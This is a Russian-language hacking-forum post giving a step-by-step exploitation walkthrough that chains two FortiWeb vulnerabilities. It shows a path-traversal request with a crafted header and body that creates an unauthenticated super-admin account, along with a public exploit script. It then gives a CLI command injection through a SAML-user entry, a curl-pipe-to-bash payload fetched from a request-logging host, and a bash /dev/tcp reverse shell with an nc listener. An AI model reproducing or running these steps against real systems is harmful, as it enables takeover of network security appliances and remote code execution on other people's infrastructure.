LIMB
Вход Регистрация

тема

Fortinet как всегда или же CVE-2025-64446+CVE-2025-58034

barak · · 1 ответов · 53 просмотров

Не удалось прогрузить медиа


Приветствую всех! Fortinet, как всегда, радует что ни день - то праздник. И сегодня рассказ о двух уязвимостях в Fortinet FortiWeb: это же CVE-2025-58034 и CVE-2025-64446. Да, целых две уязвимости, которые работают вместе. Немного информации о вулнах
​
CVE-2025-64446 - это критическая уязвимость в веб-файрволе Fortinet FortiWeb, которая позволяет неавторизованным злоумышленникам выполнять административные команды и создавать новые учётные записи администратора. Уязвимость была обнаружена в ноябре 2025 года и активно эксплуатируется.

CVE-2025-58034 - это уязвимость в веб-файрволе Fortinet FortiWeb, которая позволяет аутентифицированным злоумышленникам выполнять произвольные команды операционной системы через специально сформированные HTTP-запросы или команды CLI.



Как эксплуатировать CVE-2025-64446 + CVE-2025-58034



Предварительные требования
​

 
Целевая система FortiWeb с уязвимыми версиями (7.0.0 - 8.0.1)
Сетевой доступ к веб-интерфейсу FortiWeb
Python3 с установленными зависимостями


Шаг 1: Подготовка: склонируйте репозиторий с эксплойтом:
​
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
pip install -r requirements.txt



Шаг 2: Создание административного аккаунта вручную и с помощью скрипта (CVE-2025-64446)


Что происходит
: 


Скрипт использует path traversal для обхода проверки аутентификации и создает нового администратора с указанными учетными данными

Как работает Path Traversal+создание запроса вручную с помощью burpsuite


Нормальный путь к API в Fortiweb выглядит так: /api/v2.0/cmdb/system/admin обрабатывается модулем rest api


Не удалось прогрузить медиа



А вот что делает эксплойт: /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi

Не удалось прогрузить медиа


Разбор запроса: admin%3f это закодированный символ "?"

admin?  в CGI FortiWeb это означает - всё что после ? это уже не путь, а query string

../../../../../  directory traversal

cgi-bin/fwbcgi  бинарный CGI-скрипт который лежит в корне файловой системы


Нужно обязательно сформировать 2 специальных заголовков

1. CGIINFO в котором base64-кодируется JSON данные:


Code:
        "username": "admin",[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
​




Готовый base64: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==



2. Заголовок: Content-Type: application/x-www-form-urlencoded - именно его ожидает уязвимый CGI скрипт /cgi-bin/fwbcgi на FortiWeb


Не удалось прогрузить медиа


Теперь же нужно передать запрос тела в котором будут передаваться все параметры

Спойлер: Данные тела
{



        "data": {



            "q_type": 1,



            "name": username,



            "access-profile": "prof_admin",



            "access-profile_val": "0",



            "trusthostv4": "0.0.0.0/0",



            "trusthostv6": "::/0",



            "last-name": "",



            "first-name": "",



            "email-address": "",



            "phone-number": "",



            "mobile-number": "",



            "hidden": 0,



            "comments": "",



            "sz_dashboard": -1,



            "type": "local-user",



            "type_val": "0",



            "admin-usergrp_val": "0",



            "wildcard_val": "0",



            "accprofile-override_val": "0",



            "sshkey": "",



            "passwd-set-time": 0,



            "history-password-pos": 0,



            "history-password0": "",



            "history-password1": "",



            "history-password2": "",



            "history-password3": "",



            "history-password4": "",



            "history-password5": "",



            "history-password6": "",



            "history-password7": "",



            "history-password8": "",



            "history-password9": "",



            "force-password-change": "disable",



            "force-password-change_val": "0",



            "password": password



        }



    }



Пояснение некоторых параметров что/за что отвечают:

q_type - Тип операции: 1 = создать нового администратора, 2 = редактировать, 3 = удалить и т.д.

name - логин от админского аккаунта

password - пароль от админского аккаунта

access-profile - имя профиля доступа "prof_admin" встроенный Super Admin со всеми правами

Итоговый запрос в burpsuite:


Не удалось прогрузить медиа


Как мы видим аккаунт администратора успешно создался по указанным нами кредами

Второй способ: С помощью уже готового скрипта (рекомендую)


Достаточно ввести команду: python exploit.py 192.168.1.100 -u hello -p administrator (команду логина и пароля писать необязательно, скрипт сам сгенерирует креды)


Не удалось прогрузить медиа
​

Шаг 3: Вход в систему

Открываем страницу входа в FortiWeb и заходим с только что созданными кредами:

Username: login
Password: password


Не удалось прогрузить медиа
​

Шаг 4: Доступ к CLI консоли

После входа перейдите в консоль CLI через веб-интерфейс:

Справа сверху будет иконка терминала, нужно кликнуть по ней


Не удалось прогрузить медиа
​



Шаг 5: Эксплуатация Command Injection (CVE-2025-58034)

Дальше будет эксплуатировать вулну CVE-2025-58034 с помощью CLI терминала


Команды и дальнейшее пояснение к ним:



Code:
config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end





Пояснение:

config user saml-user - это специальный тип учётной записи, которая аутентифицируется через внешний SAML IdP (например, Okta, Azure AD, Keycloak и т.д.)

edit "<YOUR COMMAND>" - Именно сюда вставляется payload, backticks (`) заставляют shell выполнить то что внутри, как отдельную команду, пример: "curl payload.com/hello.sh | bash" достаточно закинуть нужную загрузку в .sh файл

set entityID http://foo - просто заглушка чтобы команда прошла

set service-path /foo - тоже заглушка

set enforce-signing disable - отключает проверку подписи SAML-ответа и утверждения, нужно чтобы команда сохранилась без ошибок

set slo-bind post - не влияет на эксплуатацию, просто заполняет обязательное поле

set slo-path /foo - заглушка

set sso-bind post - способ передачи SAML SSO-запроса (POST-биндинг самый распространённый)

set sso-path /foo - заглушка

end - завершает конфигурацию и сохраняет изменения


Не удалось прогрузить медиа
​



Шаг 6: Перехват shell

На вашей машине предварительно запустите слушатель: nc -lvnp port


После выполнения payload в консоле форти вы получите revshell на своей машине
Не удалось прогрузить медиа
​


Дополнительно



Вы можете передавать шелл через любой сайт, из бесплатного советую https://requestrepo.com/ - отображает все запросы, можете добавлять новые файлы (в нашем же случае shell)

В качестве payload можете использовать: bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'

В CLI форти передается с помощью команды: edit "`curl xxx.requestrepo.com/duty.sh | bash"
​


Итог:

Вот так мы с помощью двух уязвимостей получили доступ к фортивебу

Первая уязвимость нам дала создать административный аккаунт чтобы войти в fortiweb

Вторая же уязвимость позволила выполнить payload в cli форти!



Статья специально для https://forum.LIMB.cc/
​
👍4 😁1 🤔1
Почему-то огромные отступы добавились между скриншотами/сообщениями, исправить уже ничего не могу так как кнопка редактировать пропала
статья улучшенная версия: https://forum.LIMB.cc/threads/1569/

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.